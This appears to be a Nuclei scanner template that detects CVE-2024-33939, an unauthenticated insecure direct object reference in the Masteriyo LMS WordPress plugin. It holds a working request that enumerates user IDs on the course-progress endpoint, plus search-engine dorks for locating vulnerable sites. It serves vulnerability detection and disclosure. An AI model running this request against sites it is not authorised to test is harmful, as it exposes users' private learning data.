Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference

id: CVE-2024-33939

info:
  name: Masteriyo LMS <= 1.7.3 - Insecure Direct Object Reference
  author: Sourabh-Sahu
  severity: medium
  description: |
    Authentication Bypass Using an Alternate Path or Channel vulnerability in Masteriyo Masteriyo - LMS. Unauth access to course progress.This issue affects Masteriyo - LMS: from n/a through 1.7.3.
  impact: |
    An unauthenticated attacker can access course progress and user learning data without logging in.
  remediation: |
    Update the Masteriyo LMS plugin to the latest version and enforce proper authentication and authorization checks on REST API endpoints.
  reference:
    - https://wpscan.com/vulnerability/57c0054a-b713-4f7c-8e41-c009b07624a6/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-33939
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2024-33939
    cwe-id: CWE-288
    epss-score: 0.00843
    epss-percentile: 0.53499
    cpe: cpe:2.3:a:themegrill:masteriyo:*:*:*:*:free:wordpress:*:*
  metadata:
    verified: true
    max-request: 11
    shodan-query: http.html:"/wp-content/plugins/learning-management-system/"
    fofa-query: body=/wp-content/plugins/learning-management-system/
    google-query: inurl:"/wp-content/plugins/learning-management-system/"
  tags: cve,cve2024,wordpress,wp-plugin,lms,idor,unauth,learning-management-system,vkev

http:
  - raw:
      - |
        GET /wp-json/masteriyo/v1/course-progress?user_id={{user}} HTTP/1.1
        Host: {{Hostname}}

    payloads:
      user:
        - "1"
        - "2"
        - "3"
        - "4"
        - "5"
        - "6"
        - "7"
        - "8"
        - "9"
        - "10"

    attack: clusterbomb
    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "\"course_id\":", "\"course_permalink\":", "\"status\":")'
        condition: and
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